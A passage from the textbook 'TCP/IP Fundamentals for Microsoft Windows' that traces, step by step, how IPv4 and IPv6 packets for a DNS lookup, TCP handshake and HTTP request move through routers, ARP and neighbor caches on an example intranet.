TCP/IP Fundamentals for Microsoft Windows
Page: 290
28. The Web server receives the TCP SYN segment.
For the end-to-end delivery of the TCP SYN segment, the following has occurred:
The Web client sent the TCP SYN segment, and Router 1 and Router 3 forwarded it over the
10.0.13.0/24, 10.0.21.0/24, and 10.0.48.0/24 subnets to the Web server.
The Web client's route cache has a new entry for 10.0.48.12.
Router 1's route cache has a new entry for 10.0.48.12. Router 1's ARP cache has a new entry for
10.0.21.3.
Router 3's route cache has an entry for 10.0.48.12. Router 3's ARP cache has entries for 10.0.21.1 and
10.0.48.12.
The Web server's ARP cache has an entry for 10.0.48.1.
TCP SYN-ACK Segment to the Web Client
When the Web server sends the TCP SYN-ACK segment to the Web client, the following process
occurs:
1. The Web server constructs a TCP SYN-ACK segment with the source IPv4 address of 10.0.48.12
and the destination IPv4 address of 10.0.13.110.
2. The Web server checks its route cache for an entry for the IPv4 address of 10.0.13.110 and does not
find a match.
3. The Web server performs the route determination process to find the closest matching route for the
destination IPv4 address of 10.0.13.110. The default route (0.0.0.0/0) is the closest matching route.
The Web server sets the next-hop IPv4 address to 10.0.48.1 and the next-hop interface to the
network adapter that is attached to the 10.0.48.0/24 subnet.
4. The Web server updates its route cache with an entry for 10.0.13.110 with the next-hop IPv4 address
of 10.0.48.1 and the next-hop interface of the network adapter that is attached to the 10.0.48.0/24
subnet.
5. The Web server checks its ARP cache for an entry with the IPv4 address of 10.0.48.1 and finds a
match.
6. Using the ARP cache entry for 10.0.48.1, the Web server sends the unicast TCP SYN-ACK segment
destined for 10.0.13.110 to the MAC address of Router 3's interface on the 10.0.48.0/24 subnet.
7. Router 3 receives the TCP SYN-ACK segment.
8. Router 3 checks its route cache for an entry for 10.0.13.110 and does not find a match.
9. Router 3 performs the route determination process for the destination address 10.0.13.110. The
closest matching route is the route for 10.0.13.0/24. Router 3 sets the next-hop address to 10.0.21.1
and the next-hop interface to the network adapter that is attached to the 10.0.21.0/24 subnet.
10. Router 3 updates its route cache with an entry for 10.0.13.110 with the next-hop IPv4 address of
10.0.21.1 and the next-hop interface of the network adapter that is attached to the 10.0.21.0/24
subnet.
11. Router 3 checks its ARP cache for an entry with the IPv4 address of 10.0.21.1 and finds a match.
Chapter 10 – TCP/IP End-to-End Delivery
TCP/IP Fundamentals for Microsoft Windows
Page: 291
12. Using the ARP cache entry for 10.0.21.1, Router 3 forwards the unicast TCP SYN-ACK segment
destined for 10.0.13.110 to Router 1's MAC address on the 10.0.21.0/24 subnet.
13. Router 1 receives the TCP SYN-ACK segment.
14. Router 1 checks its route cache for an entry for 10.0.13.110 and finds a match.
15. Using the route cache entry for 10.0.13.110, Router 1 sets the next-hop address to 10.0.13.110 and
the next-hop interface to the network adapter that is attached to the 10.0.13.0/24 subnet.
16. Router 1 checks its ARP cache for an entry with the IPv4 address of 10.0.13.110 and finds a match.
17. Using the ARP cache entry for 10.0.13.110, Router 1 forwards the unicast TCP SYN-ACK segment
destined for 10.0.13.110 to the MAC address of the Web client's interface on the 10.0.13.0/24
subnet.
18. The Web client receives the TCP SYN-ACK segment.
For the end-to-end delivery of the TCP SYN-ACK segment, the following has occurred:
The Web server sent the TCP SYN-ACK segment, and Router 3 and Router 1 forwarded it over the
10.0.48.0/24, 10.0.21.0/24, and 10.0.13.0/24 subnets to the Web client.
The Web server's route cache has a new entry for 10.0.13.110.
Router 3's route cache has a new entry for 10.0.13.110.
TCP ACK Segment to the Web Server
When the Web client sends the TCP ACK segment to the Web server, the following process occurs:
1. The Web client constructs a TCP ACK segment message with the source IPv4 address of
10.0.13.110 and the destination IPv4 address of 10.0.48.12.
2. The Web client checks its route cache for an entry for the IPv4 address of 10.0.48.12 and finds a
match.
3. Using the route cache entry for 10.0.48.12, the Web client sets the next-hop address to 10.0.13.1
and the next-hop interface to the network adapter that is attached to the 10.0.13.0/24 subnet.
4. The Web client checks its ARP cache for an entry with the IPv4 address of 10.0.13.1 and finds a
match.
5. Using the ARP cache entry for 10.0.13.1, the Web client sends the unicast TCP ACK segment
destined for 10.0.48.12 to the MAC address of Router 1's interface on the 10.0.13.0/24 subnet.
6. Router 1 receives the TCP ACK segment, checks its route cache for an entry for 10.0.48.12, and
finds a match.
7. Using the route cache entry for 10.0.48.12, Router 1 sets the next-hop address to 10.0.21.3 and the
next-hop interface to the network adapter that is attached to the 10.0.21.0/24 subnet.
8. Router 1 checks its ARP cache for an entry with the IPv4 address of 10.0.21.3 and finds a match.
9. Using the ARP cache entry for 10.0.21.3, Router 1 forwards the unicast TCP ACK segment destined
for 10.0.48.12 to Router 3's MAC address on the 10.0.21.0/24 subnet.
10. Router 3 receives the TCP ACK segment, checks its route cache for an entry for 10.0.48.12, and
Chapter 10 – TCP/IP End-to-End Delivery
TCP/IP Fundamentals for Microsoft Windows
Page: 292
finds a match.
11. Using the route cache entry for 10.0.48.12, Router 3 sets the next-hop address to the packet's
destination address of 10.0.48.12 and the next-hop interface to the network adapter that is attached
to the 10.0.48.0/24 subnet.
12. Router 3 checks its ARP cache for an entry with the IPv4 address of 10.0.48.12 and finds a match.
13. Using the ARP cache entry for 10.0.48.12, Router 3 forwards the unicast TCP ACK segment
destined for 10.0.48.12 to the MAC address of the Web server's interface on the 10.0.47.0/24 subnet.
14. The Web server receives the TCP ACK segment.
15. Windows Sockets indicates to the Web browser that the requested TCP connection is complete.
The Web client sent the TCP ACK segment, which Router 1 and Router 3 forwarded over the
10.0.13.0/24, 10.0.21.0/24, and 10.0.48.0/24 subnets to the Web server.
HTTP Get Message to the Web Server
To download the contents of a Web page, a Web browser sends an HTTP Get message containing the
name of the page. When the Web client sends the HTTP Get message to the Web server, the following
process occurs:
1. When the Web browser receives the indication that the TCP connection is complete, the browser
constructs an HTTP Get message that requests the contents of the Web page from the Web server.
In the message, the source IPv4 address is 10.0.13.110, and the destination IPv4 address is
10.0.48.12.
2. The Web client checks its route cache for an entry for the IPv4 address of 10.0.48.12 and finds a
match.
3. Using the route cache entry for 10.0.48.12, the Web client sets the next-hop address to 10.0.13.1
and the next-hop interface to the network adapter that is attached to the 10.0.13.0/24 subnet.
4. The Web client checks its ARP cache for an entry with the IPv4 address of 10.0.13.1 and finds a
match.
5. Using the ARP cache entry for 10.0.13.1, the Web client sends the unicast HTTP Get message
destined for 10.0.48.12 to the MAC address of Router 1's interface on the 10.0.13.0/24 subnet.
6. Router 1 receives the HTTP Get message, checks its route cache for an entry for 10.0.48.12, and
finds a match.
7. Using the route cache entry for 10.0.48.12, Router 1 sets the next-hop address to 10.0.21.3 and the
next-hop interface to the network adapter that is attached to the 10.0.21.0/24 subnet.
8. Router 1 checks its ARP cache for an entry with the IPv4 address of 10.0.21.3 and finds a match.
9. Using the ARP cache entry for 10.0.21.3, Router 1 forwards the unicast HTTP Get message destined
for 10.0.48.12 to Router 3's MAC address on the 10.0.21.0/24 subnet.
10. Router 3 receives the HTTP Get message, checks its route cache for an entry for 10.0.48.12, and
finds a match.
11. Using the route cache entry for 10.0.48.12, Router 3 sets the next-hop address to the packet's
Chapter 10 – TCP/IP End-to-End Delivery
TCP/IP Fundamentals for Microsoft Windows
Page: 293
destination address of 10.0.48.12 and the next-hop interface to the network adapter that is attached
to the 10.0.48.0/24 subnet.
12. Router 3 checks its ARP cache for an entry with the IPv4 address of 10.0.48.12 and finds a match.
13. Using the ARP cache entry for 10.0.48.12, Router 3 forwards the unicast HTTP Get message
destined for 10.0.48.12 to the MAC address of the Web server's interface on the 10.0.47.0/24 subnet.
14. The Web server receives the HTTP Get message.
The Web client sent the HTTP Get message, which Router 1 and Router 3 forwarded over the
10.0.13.0/24, 10.0.21.0/24, and 10.0.48.0/24 subnets to the Web server.
HTTP Get-Response Message to the Web Client
The response to an HTTP Get message is an HTTP Get-Response message containing the HTML text
of the Web page. To simplify this example, assume that the entire Web page can fit within a single TCP
segment. When the Web server sends the HTTP Get-Response message to the Web client, the
following occurs:
1. The Web server constructs an HTTP Get-Response message with the source IPv4 address of
10.0.48.12 and the destination IPv4 address of 10.0.13.110.
2. The Web server checks its route cache for an entry for the IPv4 address of 10.0.13.110 and finds a
match.
3. Using the route cache entry for 10.0.13.110, the Web server sets the next-hop IPv4 address to
10.0.48.1 and the next-hop interface to the network adapter attached to the 10.0.48.0/24 subnet.
4. The Web server checks its ARP cache for an entry with the IPv4 address of 10.0.48.1 and finds a
match.
5. Using the ARP cache entry for 10.0.48.1, the Web server sends the unicast HTTP Get-Response
message destined for 10.0.13.110 to the MAC address of Router 3's interface on the 10.0.48.0/24
subnet.
6. Router 3 receives the HTTP Get-Response message.
7. Router 3 checks its route cache for an entry for 10.0.13.110 and finds a match.
8. Using the route cache entry for 10.0.13.110, Router 3 sets the next-hop address to 10.0.21.1 and the
next-hop interface to the network adapter that is attached to the 10.0.21.0/24 subnet.
9. Router 3 checks its ARP cache for an entry with the IPv4 address of 10.0.21.1 and finds a match.
10. Using the ARP cache entry for 10.0.21.1, Router 3 forwards the unicast HTTP Get-Response
message destined for 10.0.13.110 to Router 1's MAC address on the 10.0.21.0/24 subnet.
11. Router 1 receives the HTTP Get-Response message.
12. Router 1 checks its route cache for an entry for 10.0.13.110 and finds a match.
13. Using the route cache entry for 10.0.13.110, Router 1 sets the next-hop address to 10.0.13.110 and
the next-hop interface to the network adapter that is attached to the 10.0.13.0/24 subnet.
14. Router 1 checks its ARP cache for an entry with the IPv4 address of 10.0.13.110 and finds a match.
Chapter 10 – TCP/IP End-to-End Delivery
TCP/IP Fundamentals for Microsoft Windows
Page: 294
15. Using the ARP cache entry for 10.0.13.110, Router 1 forwards the unicast HTTP Get-Response
message destined for 10.0.13.110 to the MAC address of the Web client's interface on the
10.0.13.0/24 subnet.
16. The Web client receives the HTTP Get-Response message.
17. The Web browser constructs the visual representation of the Web page at
http://web1.example.com/example.htm.
The Web server sent the HTTP Get-Response message, which Router 3 and Router 1 forwarded over
the 10.0.48.0/24, 10.0.21.0/24, and 10.0.13.0/24 subnets to the Web client.
Chapter 10 – TCP/IP End-to-End Delivery
TCP/IP Fundamentals for Microsoft Windows
Page: 295
End-to-End IPv6 Delivery Process
Similar to IPv4, the end-to-end delivery process for IPv6 traffic consists of the following:
The source host sends the packet either to a router or to the final destination (if the destination is a
neighbor).
The router forwards the packet either to another router or to the final destination (if the destination is a
neighbor).
The destination host receives the packet and passes the data to the appropriate application.
Note The following processes assume that the IPv6 header contains no extension headers.
IPv6 on the Source Host
The process by which an IPv6 host sends an IPv6 packet depends on a combination of the local host
data structures and the Neighbor Discovery protocol. An IPv6 host uses the following algorithm when
sending a packet to an arbitrary destination:
1. Specify either a default or application-specified value for the Hop Limit field.
2. Check the destination cache for an entry that matches the destination address. The destination
cache is a table that stores the next-hop IPv6 addresses and interfaces for destinations to which
traffic has been recently sent. You can view the destination cache with the netsh interface ipv6
show destinationcache command.
3. If the destination cache contains an entry that matches the destination address, obtain the next-hop
address and interface index from the destination cache entry, and go to step 7.
4. Check the local IPv6 routing table for the longest matching route with the lowest metric to the
destination address. If multiple longest matching routes have the lowest metric, choose a route to
use.
5. Based on chosen route, determine the next-hop interface and address used for forwarding the
packet.
6. If no route is found, assume that the destination is directly reachable and sets the next-hop IPv6
address to the destination address and chooses an interface.
7. Update the destination cache.
8. Check the neighbor cache for an entry that matches the next-hop address. The neighbor cache
stores neighboring IPv6 addresses and their corresponding MAC address. You can view the
neighbor cache with the netsh interface ipv6 show neighbors command.
9. If the neighbor cache contains an entry that matches the next-hop address, obtain the link-layer
address.
10. If the neighbor cache does not contain an entry that matches the next-hop address, use address
resolution (an exchange of multicast Neighbor Solicitation and unicast Neighbor Advertisement
messages) to obtain the link-layer address for the next-hop address.
11. If address resolution fails, indicate an error.
Chapter 10 – TCP/IP End-to-End Delivery
TCP/IP Fundamentals for Microsoft Windows
Page: 296
12. Send the packet by using the link-layer address of the neighbor cache entry.
This process is for a single-homed host. For multi-homed hosts, the route determination process
depends on the source address and whether the host supports strong or weak hosts sends. For strong
host sends, the next-hop interface must be assigned the source address of the packet. For weak host
sends, the next-hop interface does not have to be assigned the source address of the packet.
Figure 10-6 shows the IPv6 sending process for a source host.
Figure 10-6 The IPv6 sending process for a source host
IPv6 on the Router
An IPv6 router uses the following algorithm when it receives and forwards a packet to an arbitrary
unicast or anycast destination:
1. Perform optional header error checks such as ensuring that the value of the Version field is 6 and
that the source address is not the loopback address (::1) or a multicast address.
2. Verify whether the destination address in the IPv6 packet corresponds to an address that is assigned
to a router interface.
If so, process the IPv6 packet as the destination host. (See step 3 in "IPv6 on the Destination Host"
in this chapter.)
3. Decrement the value of the Hop Limit field by 1.
Chapter 10 – TCP/IP End-to-End Delivery
TCP/IP Fundamentals for Microsoft Windows
Page: 297
If the value of the Hop Limit field is less than 1, send an Internet Control Message Protocol for IPv6
(ICMPv6) Time Exceeded-Hop Limit Exceeded in Transit message to the sender, and discard the
packet.
4. If the value of the Hop Limit field is greater than 0, update the Hop Limit field in the IPv6 header of
the packet.
5. Check the destination cache for an entry that matches the destination address.
6. If the destination cache contains an entry that matches the destination address, obtain the next-hop
IPv6 address and interface from the destination cache entry, and go to step 10.
7. Check the local IPv6 routing table for the longest matching route to the destination IPv6 address.
8. Based on the longest matching route, determine the next hop IPv6 address and interface to use for
forwarding the packet.
If no route is found, send an ICMPv6 Destination Unreachable-No Route to Destination message to
the source host, and discard the packet.
9. Update the destination cache.
10. If the interface on which the packet was received is the same as the interface on which the packet is
being forwarded, the interface is a point-to-point link, and the Destination Address field matches a
prefix assigned to the interface, send an ICMPv6 Destination Unreachable-Address Unreachable
message to the source host, and discard the packet. This step prevents the needless circular
forwarding of IPv6 packets between the two interfaces on a point-to-point link for a packet whose
destination matches the prefix of the point-to-point link but does not match the address of either
interface.
11. If the interface on which the packet was received is the same as the interface on which the packet is
being forwarded and the Source Address field matches a prefix assigned to the interface, send a
Redirect message to the source host.
12. Compare the IP MTU of the next-hop interface to the size of the IPv6 packet being forwarded.
If the IP MTU of the next-hop interface is smaller than the packet size, send an ICMPv6 Packet Too
Big message to the source host, and discard the packet.
13. Check the neighbor cache for an entry that matches the next-hop IPv6 address.
14. If the neighbor cache contains an entry that matches the next-hop IPv6 address, obtain the link-layer
address.
15. If the neighbor cache does not contain an entry that matches the next-hop address, use address
resolution to obtain the link-layer address for the next-hop address.
If address resolution fails, send an ICMPv6 Destination Unreachable-Address Unreachable message
to the source host, and discard the packet.
16. Send the packet by using the link-layer address of the neighbor cache entry.
Figures 10-7 and 10-8 show the IPv6 router forwarding process.
Chapter 10 – TCP/IP End-to-End Delivery
TCP/IP Fundamentals for Microsoft Windows
Page: 298
Figure 10-7 IPv6 router forwarding process (part 1)
Chapter 10 – TCP/IP End-to-End Delivery
TCP/IP Fundamentals for Microsoft Windows
Page: 299
Figure 10-8 IPv6 router forwarding process (part 2)
Each IPv6 router in the path between the source host and the destination host repeats this process.
IPv6 on the Destination Host
A destination IPv6 host uses the following algorithm when it receives an IPv6 packet:
1. Perform optional header error checks such as ensuring that the value of the Version field is 6 and
that the source address is not the loopback address (::1) or a multicast address.
2. Verify whether the destination address in the IPv6 packet corresponds to an IPv6 address that is
assigned to a local host interface.
If the destination address is not assigned to a local host interface, discard the IPv6 packet.
3. Verify that the value of the Next Header field corresponds to an upper layer protocol in use on the
host.
If the protocol does not exist, send an ICMPv6 Parameter Problem-Unrecognized Next Header Type
Encountered message back to the sender, and discard the packet.
4. If the upper layer PDU is not a TCP segment or UDP message, pass the upper layer PDU to the
appropriate protocol.
5. If the upper layer PDU is a TCP segment or UDP message, check the destination port.
Chapter 10 – TCP/IP End-to-End Delivery
TCP/IP Fundamentals for Microsoft Windows
Page: 300
If no application exists for the UDP port number, send an ICMPv6 Destination Unreachable-Port
Unreachable message back to the sender, and discard the packet. If no application exists for the
TCP port number, send a TCP Connection Reset segment back to the sender, and discard the
packet.
6. If an application exists for the UDP or TCP destination port, process the contents of the TCP
segment or UDP message.
This process is for a single-homed host. For multi-homed hosts, the receive process depends on
whether the host supports strong or weak hosts receives. For strong host receives, the receiving
interface must be assigned the destination address of the packet. For weak host receives, the receiving
interface does not have to be assigned the destination address of the packet.
Figure 10-9 shows the IPv6 receiving process on the destination host.
Figure 10-9 IPv6 receiving process on the destination host
Chapter 10 – TCP/IP End-to-End Delivery
TCP/IP Fundamentals for Microsoft Windows
Page: 301
Step-by-Step IPv6 Traffic Example
To show the IPv6 end-to-end delivery process, this section steps through an example of IPv6 traffic
when a user types the URL of a Web page in the Address bar of a Web browser and views a Web
page from a Web server. This example demonstrates the following aspects of IPv6 traffic:
Name resolution using DNS
End-to-end delivery using a source host, intermediate routers, and a destination host
Creation of a TCP connection
Use of HTTP to download the HTML text of a Web page
Network Configuration
Figure 10-10 shows a simple private IPv6 intranet consisting of four subnets connected with three
routers. The example intranet contains a Web client, a DNS server, and a Web server.
Chapter 10 – TCP/IP End-to-End Delivery
TCP/IP Fundamentals for Microsoft Windows
Page: 302
Figure 10-10 An example IPv6 intranet
The following sections describe the IPv6 configuration of each of these components.
Web Client
The Web client is connected to the 2001:DB8:0:13::/64 subnet and uses the IPv6 address of
2001:DB8:0:13::1, the default router of FE80::A (Router 1), and the DNS server of 2001:DB8:0:47::2.
The Web client has the following routes:
2001:DB8:0:13::/64 (directly attached network route)
::/0 with the next-hop address of FE80::A (default route)
Note To simplify the discussion for each component of the example IPv6 intranet, this example lists only
the most relevant routes.
Router 1
Router 1 is connected to the 2001:DB8:0:13::/64 subnet using the IPv6 address FE80::A and the
2001:DB8:0:21::/64 subnet using the IPv6 address FE80::B. Router 1 has the following routes:
2001:DB8:0:13::/64 (directly attached network route)
2001:DB8:0:21::/64 (directly attached network route)
2001:DB8:0:47::/64 with the next-hop address of FE80::C
2001:DB8:0:48::/64 with the next-hop address of FE80::E
Router 2
Router 2 is connected to the 2001:DB8:0:21::/64 subnet using the IPv6 address FE80::C and the
2001:DB8:0:47::/64 subnet using the IPv6 address FE80::D. Router 2 has the following routes:
2001:DB8:0:21::/64 (directly attached network route)
2001:DB8:0:47::/64 (directly attached network route)
2001:DB8:0:13::/64 with the next-hop address of FE80::B
2001:DB8:0:48::/64 with the next-hop address of FE80::E
Router 3
Router 3 is connected to the 2001:DB8:0:21::/64 subnet using the IPv6 address FE80::E and the
2001:DB8:0:48::/64 subnet using the IPv6 address FE80::F. Router 3 has the following routes:
2001:DB8:0:21::/64 (directly attached network route)
2001:DB8:0:48::/64 (directly attached network route)
2001:DB8:0:13::/64 with the next-hop address of FE80::B
2001:DB8:0:47::/64 with the next-hop address of FE80::C
Chapter 10 – TCP/IP End-to-End Delivery
TCP/IP Fundamentals for Microsoft Windows
Page: 303
DNS Server
The DNS server is connected to the 2001:DB8:0:47::/64 subnet and uses the IPv6 address of
2001:DB8:0:47::2/24 and the default router of FE80::D (Router 2). The DNS server has the following
routes:
2001:DB8:0:47::/64 (directly attached network route)
::/0 with the next-hop address of FE80::D
The DNS server has an IPv6 Address (AAAA) resource record that maps the name web1.example.com
to the IPv6 address of 2001:DB8:0:48::3.
Web Server
The Web server is connected to the 2001:DB8:0:48::/64 subnet and uses the IPv6 address of
2001:DB8:0:48::3/24, the default router of FE80::F (Router 3), and the DNS server of 2001:DB8:0:47::2.
The Web server has the following routes:
2001:DB8:0:48::/64 (directly attached network route)
::/0 with the next-hop address of FE80::F
Web Traffic Example
This example assumes the following:
The neighbor and destination caches on all of the components of the network are empty.
The DNS client resolver cache on the Web client is empty.
The Web browser on the Web client has not cached the contents of the Web page on the Web server.
In this example, a user on the Web client opens a Web browser, types the address
http://web1.example.com/example.htm in the Web browser's Address bar, and presses ENTER. The
computers on this example intranet send the following set of messages:
1. The Web client sends a DNS Name Query Request message to the DNS server.
2. The DNS server sends a DNS Name Query Response message to the Web client.
3. The Web client sends a TCP Synchronize (SYN) segment to the Web server.
4. The Web server sends a TCP SYN-Acknowledgement (ACK) segment to the Web client.
5. The Web client sends a TCP ACK segment to the Web server.
6. The Web client sends an HTTP Get message to the Web server.
7. The Web server sends an HTTP Get-Response message to the Web client.
The following sections describe the end-to-end delivery of each of these messages.
DNS Name Query Request Message to the DNS Server
When the Web client sends the DNS Name Query Request message to the DNS server, the following
process occurs:
1. The Web browser parses the address in the Address bar and uses a Windows Sockets getaddrinfo()
Chapter 10 – TCP/IP End-to-End Delivery
TCP/IP Fundamentals for Microsoft Windows
Page: 304
function to attempt to resolve the name web1.example.com to its IPv6 address. For this example, the
DNS server is storing only a single AAAA record for the name web1.example.com.
2. The Web client constructs a DNS Name Query Request message with the source IPv6 address of
2001:DB8:0:13::1 and the destination IPv6 address of 2001:DB8:0:47::2.
3. The Web client checks its destination cache for an entry for the IPv6 address of 2001:DB8:0:47::2
and does not find a match.
4. The Web client performs the route determination process to find the closest matching route for the
destination IPv6 address of 2001:DB8:0:47::2. The default route (::/0) is the closest matching route.
The Web client sets the next-hop IPv6 address to FE80::A and the next-hop interface to the network
adapter attached to the 2001:DB8:0:13::/64 subnet.
5. The Web client updates its destination cache with an entry for 2001:DB8:0:47::2 with the next-hop
IPv6 address of FE80::A and the next-hop interface of the network adapter that is attached to the
2001:DB8:0:13::/64 subnet.
6. The Web client checks its neighbor cache for an entry with the IPv6 address of FE80::A and does not
find a match.
7. The Web client sends a Neighbor Solicitation message to the solicited node multicast IPv6 address
FF02::1:FF00:A, querying the 2001:DB8:0:13::/64 subnet for the MAC address of the interface that is
assigned the IPv6 address of FE80::A.
8. Because Router 1 is listening on the solicited node multicast address of FF02::1:FF00:A, the router
receives the Neighbor Solicitation message. The router adds an entry to its neighbor cache for the
IPv6 address 2001:DB8:0:13::1 and the MAC address of the Web client's interface on the
2001:DB8:0:13::/64 subnet.
9. Router 1 sends a unicast Neighbor Advertisement message to the Web client.
10. The Web client updates its neighbor cache with an entry for the IPv6 address of FE80::A and the
MAC address of Router 1's interface on the 2001:DB8:0:13::/64 subnet.
11. The Web client sends the unicast DNS Name Query Request message destined for
2001:DB8:0:47::2 to the MAC address of Router 1's interface on the 2001:DB8:0:13::/64 subnet.
12. Router 1 receives the DNS Name Query Request message.
13. Router 1 checks its destination cache for an entry for 2001:DB8:0:47::2 and does not find a match.
14. Router 1 performs the route determination process for the destination address 2001:DB8:0:47::2. The
closest matching route is the route for 2001:DB8:0:47::/64. Router 1 sets the next-hop address to
FE80::C and the next-hop interface to the network adapter that is attached to the 2001:DB8:0:21::/64
subnet.
15. Router 1 updates its destination cache with an entry for 2001:DB8:0:47::2 with the next-hop IPv6
address of FE80::C and the next-hop interface of the network adapter that is attached to the
2001:DB8:0:21::/64 subnet.
16. Router 1 checks its neighbor cache for an entry with the IPv6 address of FE80::C and does not find a
match.
17. Router 1 sends a Neighbor Solicitation message to the solicited node multicast IPv6 address
Chapter 10 – TCP/IP End-to-End Delivery
TCP/IP Fundamentals for Microsoft Windows
Page: 305
FF02::1:FF00:C, querying the 2001:DB8:0:21::/64 subnet for the MAC address of the interface that is
assigned the IPv6 address of FE80::C.
18. Because Router 2 is listening on the solicited node multicast address of FF02::1:FF00:C, it receives
the Neighbor Solicitation message and adds an entry to its neighbor cache for the IPv6 address
FE80::B and the MAC address of Router 1's interface on the 2001:DB8:0:21::/64 subnet.
19. Router 2 sends a unicast Neighbor Advertisement message to Router 1.
20. Router 1 updates its neighbor cache with an entry for the IPv6 address of FE80::C and the MAC
address of Router 2's interface on the 2001:DB8:0:21::/64 subnet.
21. Router 1 forwards the unicast DNS Name Query Request message destined for 2001:DB8:0:47::2 to
Router 2's MAC address on the 2001:DB8:0:21::/64 subnet.
22. Router 2 receives the DNS Name Query Request message, checks its destination cache for an entry
for 2001:DB8:0:47::2, and does not find a match.
23. Router 2 performs the route determination process for the destination address 2001:DB8:0:47::2. The
closest matching route is the route for 2001:DB8:0:47::/64 (a directly attached network route). Router
2 sets the next-hop address to the packet's destination address of 2001:DB8:0:47::2 and the next-
hop interface to the network adapter that is attached to the 2001:DB8:0:47::/64 subnet.
24. Router 2 updates its destination cache with an entry for 2001:DB8:0:47::2 with the next-hop IPv6
address of 2001:DB8:0:47::2 and the next-hop interface of the network adapter that is attached to the
2001:DB8:0:47::/64 subnet.
25. Router 2 checks its neighbor cache for an entry with the IPv6 address of 2001:DB8:0:47::2 and does
not find a match.
26. Router 2 sends a Neighbor Solicitation message to the solicited node multicast IPv6 address
FF02::1:FF00:2, querying the 2001:DB8:0:47::/64 subnet for the MAC address of the interface that is
assigned the IPv6 address of 2001:DB8:0:47::2.
27. Because the DNS server is listening on the solicited node multicast address of FF02::1:FF00:2, it
receives the Neighbor Solicitation message and adds an entry to its neighbor cache for the IPv6
address FE80::D and the MAC address of Router 2's interface on the 2001:DB8:0:47::/64 subnet.
28. The DNS server sends a unicast Neighbor Advertisement message to Router 2.
29. Router 2 updates its neighbor cache with an entry for the IPv6 address of 2001:DB8:0:47::2 and the
MAC address of the DNS server's interface on the 2001:DB8:0:47::/64 subnet.
30. Router 2 forwards the unicast DNS Name Query Request message destined for 2001:DB8:0:47::2 to
the MAC address of the DNS server's interface on the 2001:DB8:0:47::/64 subnet.
31. The DNS server receives the packet and passes the DNS Name Query Request message to the
DNS Server service.
32. The DNS Server service finds the AAAA record for the name web1.example.com and resolves it to
the IPv6 address of 2001:DB8:0:48::3.
For the end-to-end delivery of the DNS Name Query Request message, the following has occurred:
The Web client sent the DNS Name Query Request message, and Router 1 and Router 2 forwarded it
over the 2001:DB8:0:13::/64, 2001:DB8:0:21::/64, and 2001:DB8:0:47::/64 subnets to the DNS server.
Chapter 10 – TCP/IP End-to-End Delivery
TCP/IP Fundamentals for Microsoft Windows
Page: 306
The Web client's destination cache has an entry for 2001:DB8:0:47::2. The Web client's neighbor cache
has an entry for FE80::A.
Router 1's destination cache has an entry for 2001:DB8:0:47::2. Router 1's neighbor cache has entries
for 2001:DB8:0:13::1 and FE80::C.
Router 2's destination cache has an entry for 2001:DB8:0:47::2. Router 2's neighbor cache has entries
for FE80::B and 2001:DB8:0:47::2.
The DNS server's neighbor cache has an entry for FE80::D.
DNS Name Query Response Message to the Web Client
When the DNS server sends the DNS Name Query Response message to the Web client, the following
process occurs:
1. The DNS Server service constructs a DNS Name Query Response message with the source IPv6
address of 2001:DB8:0:47::2 and the destination IPv6 address of 2001:DB8:0:13::1.
2. The DNS server checks its destination cache for an entry for the IPv6 address of 2001:DB8:0:13::1
and does not find a match.
3. The DNS server performs the route determination process to find the closest matching route for the
destination IPv6 address of 2001:DB8:0:13::1. The default route (::/0) is the closest matching route.
The DNS server sets the next-hop IPv6 address to FE80::D and the next-hop interface to the network
adapter attached to the 2001:DB8:0:47::/64 subnet.
4. The DNS server updates its destination cache with an entry for 2001:DB8:0:13::1 with the next-hop
IPv6 address of FE80::D and the next-hop interface of the network adapter that is attached to the
2001:DB8:0:47::/64 subnet.
5. The DNS server checks its neighbor cache for an entry with the IPv6 address of FE80::D and finds a
match.
6. Using the neighbor cache entry for FE80::D, the DNS server sends the unicast DNS Name Query
Response message destined for 2001:DB8:0:13::1 to the MAC address of Router 2's interface on the
2001:DB8:0:47::/64 subnet.
7. Router 2 receives the DNS Name Query Response message, checks its destination cache for an
entry for 2001:DB8:0:13::1, and does not find a match.
8. Router 2 performs the route determination process for the destination address 2001:DB8:0:13::1. The
closest matching route is the route for 2001:DB8:0:13::/64. Router 2 sets the next-hop address to
FE80::B and the next-hop interface to the network adapter that is attached to the 2001:DB8:0:21::/64
subnet.
9. Router 2 updates its destination cache with an entry for 2001:DB8:0:13::1 with the next-hop IPv6
address of FE80::B and the next-hop interface of the network adapter that is attached to the
2001:DB8:0:21::/64 subnet.
10. Router 2 checks its neighbor cache for an entry with the IPv6 address of FE80::B and finds a match.
11. Using the neighbor cache entry for FE80::B, Router 2 forwards the unicast DNS Name Query
Response message destined for 2001:DB8:0:13::1 to Router 1's MAC address on the
2001:DB8:0:21::/64 subnet.
Chapter 10 – TCP/IP End-to-End Delivery
TCP/IP Fundamentals for Microsoft Windows
Page: 307
12. Router 1 receives the DNS Name Query Response message, checks its destination cache for an
entry for 2001:DB8:0:13::1, and does not find a match.
13. Router 1 performs the route determination process for the destination address 2001:DB8:0:13::1. The
closest matching route is the route for 2001:DB8:0:13::/64 (a directly attached network route). Router
1 sets the next-hop address to the packet's destination address of 2001:DB8:0:13::1 and the next-
hop interface to the network adapter that is attached to the 2001:DB8:0:13::/64 subnet.
14. Router 1 updates its destination cache with an entry for 2001:DB8:0:13::1 with the next-hop IPv6
address of 2001:DB8:0:13::1 and the next-hop interface of the network adapter that is attached to the
2001:DB8:0:13::/64 subnet.
15. Router 1 checks its neighbor cache for an entry with the IPv6 address of 2001:DB8:0:13::1 and finds
a match.
16. Using the neighbor cache entry for 2001:DB8:0:13::1, Router 1 forwards the unicast DNS Name
Query Response message destined for 2001:DB8:0:13::1 to the MAC address of the Web client's
interface on the 2001:DB8:0:13::/64 subnet.
17. The Web client receives the packet and passes the DNS Name Query Response message to the
DNS Client service.
18. The DNS Client service on the Web client passes the resolved IPv6 address of 2001:DB8:0:48::3 to
Windows Sockets.
19. Windows Sockets passes the resolved IPv6 address of 2001:DB8:0:48::3 to the Web browser.
For the end-to-end delivery of the DNS Name Query Response message, the following has occurred:
The DNS server sent the DNS Name Query Response message, and Router 2 and Router 1 forwarded
it over the 2001:DB8:0:47::/64, 2001:DB8:0:21::/64, and 2001:DB8:0:13::/64 subnets to the Web client.
The DNS server's destination cache has a new entry for 2001:DB8:0:13::1.
Router 2's destination cache has a new entry for 2001:DB8:0:13::1.
Router 1's destination cache has a new entry for 2001:DB8:0:13::1.
When the Web client sends the TCP SYN segment to the Web server, the following process occurs:
1. The Web browser, upon obtaining the resolved address of 2001:DB8:0:48::3 from Windows Sockets,
uses a Windows Sockets connect() function to create a TCP connection between the Web client and
the Web server.
